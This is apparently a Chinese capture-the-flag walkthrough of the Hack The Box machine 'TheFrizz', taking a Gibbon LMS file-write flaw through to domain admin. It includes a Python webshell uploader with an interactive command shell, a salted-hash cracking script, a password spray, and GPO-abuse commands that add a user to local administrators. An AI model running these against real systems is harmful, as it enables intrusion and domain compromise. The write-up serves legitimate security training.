HTB-TheFrizz笔记

admin 2025年4月2日16:55:31评论88 views字数 6942阅读23分8秒阅读模式
HTB-TheFrizz笔记
扫描靶机
nmap -A -v -T4 10.10.11.60
HTB-TheFrizz笔记
windows主机有个80端口,先看80端口
HTB-TheFrizz笔记
右上角有个按钮,点击进去
HTB-TheFrizz笔记
进去后在左下角有个版本信息,是v25,在网上可以找到这个poc

https://github.com/maddsec/CVE-2023-34598

HTB-TheFrizz笔记
就是一个LFI漏洞,可以直接访问文件内容
HTB-TheFrizz笔记
审计了一下,里面好像没什么可以利用的东西,然后在这里可以找到一个json,可以参考这篇
http://frizzdc.frizz.htb/Gibbon-LMS/?q=./vendor/composer/installed.json
HTB-TheFrizz笔记
Gibbon 版本的LFI漏洞,可以使用这个poc进行get shell,GibbonEdu Gibbon 版本 25.0.1 及更早版本允许任意文件写入,因为 rubrics_visualise_saveAjax.phps 不需要身份验证
https://herolab.usd.de/security-advisories/usd-2023-0025/
HTB-TheFrizz笔记
根据这个poc写一个屁眼脚本
import requestsimport base64import time
url = "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php"
# PHP WebShell 负载php_payload"<?php echo system($_GET['cmd']);?>"encoded_php_payload = base64.b64encode(php_payload.encode()).decode()
# 可能的 WebShell 文件名shell_names = ["myshell.php""myshell.phtml""shell.php3""../../myshell.php"]
# gibbonPersonIDgibbonPersonID = "0000000001"
def send_payload(path):    """ 发送 payload,尝试上传 WebShell """    payload = {        "img"f"image/png;asdf,{encoded_php_payload}",        "path": path,        "gibbonPersonID": gibbonPersonID    }    response = requests.post(url, data=payload)    return response.status_code == 200
def test_webshell(path):    """ 检查 WebShell 是否可访问 """    test_url = f"{url.rsplit('/'1)[0]}/{path}?cmd=whoami"    response = requests.get(test_url)    if response.status_code == 200:        print(f"[+] WebShell 可访问: {test_url}")        print(f"[+] 执行 whoami 结果: {response.text}")        return True    else:        print(f"[-] 无法访问 WebShell: {test_url} (HTTP {response.status_code})")        return False
def main():    for path in shell_names:        print(f"[+] 尝试上传 WebShell: {path}")        if send_payload(path):            print(f"[+] 负载成功发送,尝试访问 {path}...")            time.sleep(3)  # 等待服务器写入文件            if test_webshell(path):                print("[+] WebShell 上传成功,进入交互模式...")                interact_with_shell(path)                return    print("[-] 所有路径尝试失败,WebShell 可能未上传")
def interact_with_shell(path):    """ 交互模式 """    while True:        command = input("[+] 请输入要执行的命令 (exit 退出): ")        if command.lower() == "exit":            break        test_url = f"{url.rsplit('/'1)[0]}/{path}?cmd={command}"        response = requests.get(test_url)        if response.status_code == 200:            print(f"[+] 执行结果:n{response.text}")        else:            print(f"[-] 访问失败 (HTTP {response.status_code})")
if __name__ == "__main__":    main()
得到了用户名,接下来直接反弹
HTB-TheFrizz笔记
成功反弹后,在本地目录看到一个config.php文件,打开看看
HTB-TheFrizz笔记
可以得知一个数据库账号,先收藏这,然后上传SharpHound收集内网信息
HTB-TheFrizz笔记
然后输入这个ps命令收集一下域用户名
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName

AdministratorGuestkrbtgtf.frizzlew.lih.armM.SchoolBusd.hudsonk.franklinl.awesomet.wrightr.tennelliJ.perlsteina.perlsteinp.teresev.frizzleg.frizzlec.sandiegoc.ramonm.ramonw.Webservice
HTB-TheFrizz笔记
现在得到了一个用户名字典,枚举一下
HTB-TheFrizz笔记
看来没用处,或许只能登录mysql里面,直接使用xampp里面的现成mysql的exe
mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "USE gibbon; SELECT * FROM gibbonperson WHERE username IS NOT NULL;"gibbonPersonID	title	surname	firstName	preferredName	officialName	nameInCharacters	gender	username	passwordStrong	passwordStrongSalt	passwordForceReset	status	canLogin	gibbonRoleIDPrimary	gibbonRoleIDAll	dob	email	emailAlternate	image_240	lastIPAddress	lastTimestamp	lastFailIPAddress	lastFailTimestamp	failCount	address1	address1District	address1Country	address2	address2District	address2Country	phone1Type	phone1CountryCode	phone1	phone3Type	phone3CountryCode	phone3	phone2Type	phone2CountryCode	phone2	phone4Type	phone4CountryCode	phone4	website	languageFirst	languageSecond	languageThird	countryOfBirth	birthCertificateScan	ethnicity	religion	profession	employer	jobTitle	emergency1Name	emergency1Number1	emergency1Number2	emergency1Relationship	emergency2Name	emergency2Number1	emergency2Number2	emergency2Relationship	gibbonHouseID	studentID	dateStart	dateEnd	gibbonSchoolYearIDClassOf	lastSchool	nextSchool	departureReason	transport	transportNotes	calendarFeedPersonal	viewCalendarSchool	viewCalendarPersonal	viewCalendarSpaceBooking	gibbonApplicationFormID	lockerNumber	vehicleRegistration	personalBackground	messengerLastRead	privacy	dayType	gibbonThemeIDPersonal	gibboni18nIDPersonal	studentAgreements	googleAPIRefreshToken	microsoftAPIRefreshToken	genericAPIRefreshToken	receiveNotificationEmails	mfaSecret	mfaToken	cookieConsent	fields0000000001	Ms.	Frizzle	Fiona	Fiona	Fiona Frizzle		Unspecified	f.frizzle	067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03	/aACFhikmNopqrRTVz2489	N	Full	Y	001	001	NULL	[email protected]	NULL	NULL	::1	2024-10-29 09:28:59	NULL	NULL	0																																						NULL		NULL	NULL	NULL							Y	Y	N	NULL				NULL	NULL	NULL	NULL	NULL	NULL				Y	NULL	NULL	NULL	
HTB-TheFrizz笔记
可以看到得到一个hash,另外还有一个/aACFhikmNopqrRTVz2489,这是passwordStrongSalt,就是hash的盐值,然后将其解密哈希,可以写一个脚本
import hashlibimport osfrom tqdm import tqdm
# 要破解的哈希值hash_to_crack = "067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03"
# 用于哈希的盐值salt = "/aACFhikmNopqrRTVz2489"
# 密码字典文件路径password_file_path = "/usr/share/wordlists/rockyou.txt"
def hash_password(password, salt, hash_algorithm='sha256'):    """计算密码的哈希值"""    hash_func = getattr(hashlib, hash_algorithm)    return hash_func((salt + password).encode()).hexdigest()
def main():    if not os.path.exists(password_file_path):        print(f"密码字典文件不存在: {password_file_path}")        return
    with open(password_file_path, "r", encoding="latin-1"as f:        passwords = [line.strip() for line in f]
    total_passwords = len(passwords)    print(f"总共有 {total_passwords} 个密码需要尝试。")
    # 使用 tqdm 显示进度条    for password in tqdm(passwords, total=total_passwords, desc="破解进度"):        hashed = hash_password(password, salt)        if hashed == hash_to_crack:            print(f"找到密码: {password}")            break
if __name__ == "__main__":    main()
HTB-TheFrizz笔记
得到了密码是:Jenni_Luvs_Magic23,配置好ker认证来登录到主机
python3 getTGT.py -dc-ip 10.10.11.60 frizz.htb/f.frizzle:Jenni_Luvs_Magic23export KRB5CCNAME=f.frizzle.ccachessh [email protected]
~/.ssh/config

Host frizz.htb    GSSAPIAuthentication yes    GSSAPIDelegateCredentials yes    PreferredAuthentications gssapi-with-mic
Host frizzdc.frizz.htb    GSSAPIAuthentication yes    GSSAPIDelegateCredentials yes    PreferredAuthentications gssapi-with-mic


 /etc/krb5.conf
 [libdefaults]    default_realm = FRIZZ.HTB    dns_lookup_realm = false    dns_lookup_kdc = true    ticket_lifetime = 24h    forwardable = true
[realms]    FRIZZ.HTB = {        kdc = frizzdc.frizz.htb        admin_server = frizzdc.frizz.htb        default_domain = frizz.htb    }
[domain_realm].frizz.htb = FRIZZ.HTBfrizz.htb = FRIZZ.HTB
HTB-TheFrizz笔记
HTB-TheFrizz笔记
成功登录到里面,直接拿到user flag
HTB-TheFrizz笔记
然后上传SharpHound,拿一下内网环境
HTB-TheFrizz笔记
收集完后,在c盘底下翻一下垃圾,可以找到几个隐藏文件夹
HTB-TheFrizz笔记
进入到$Recycle.Bin里面可以找到两个压缩包
HTB-TheFrizz笔记
HTB-TheFrizz笔记
进入到conf文件夹里面,有个waptserver.ini
HTB-TheFrizz笔记
打开后里面wapt_password的base64的编码,解码后可以得到一个密码:!suBcig@MehTed!R ,然后将这个喷洒一下
HTB-TheFrizz笔记
保存这些用户名,然后使用那个密码喷洒一下
netexec ldap frizzdc.frizz.htb -u users.txt -p '!suBcig@MehTed!R'
可以得知M.SchoolBus可以匹配这个密码,继续使用ssh登录一下
impacket-getTGT -dc-ip 10.10.11.60 frizz.htb/m.schoolbus:'!suBcig@MehTed!R'export KRB5CCNAME=m.schoolbus.ccachessh [email protected]
HTB-TheFrizz笔记
成功的登录进去了,查看一下内网关系
HTB-TheFrizz笔记
HTB-TheFrizz笔记
HTB-TheFrizz笔记
可以M.SchoolBus用户是属于GPO组里面,使用SharpGPOAbuse.exe工具利用滥用关系,将其添加到管理员组,前提是创建一个名为 ikun的新 GPO,并将其链接到 frizz.hb域中的 domain controllers OU,使得该 GPO 对该 OU 中的对象生效
# 创建一个新的组策略对象,名称为 "ikun"New-GPO -Name "ikun"
# 将新创建的 GPO 链接到指定的 OU,并启用链接New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes

SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName ikun
gpupdate /force
HTB-TheFrizz笔记
显然是admin组里面了,直接使用secretsdump导出hash
HTB-TheFrizz笔记
然后利用该ntlm生成票据,然后登录进去
HTB-TheFrizz笔记
ntlm靠你们了,bro~

原文始发于微信公众号(Jiyou too beautiful):HTB-TheFrizz笔记

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月2日16:55:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB-TheFrizz笔记https://cn-sec.com/archives/3906239.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息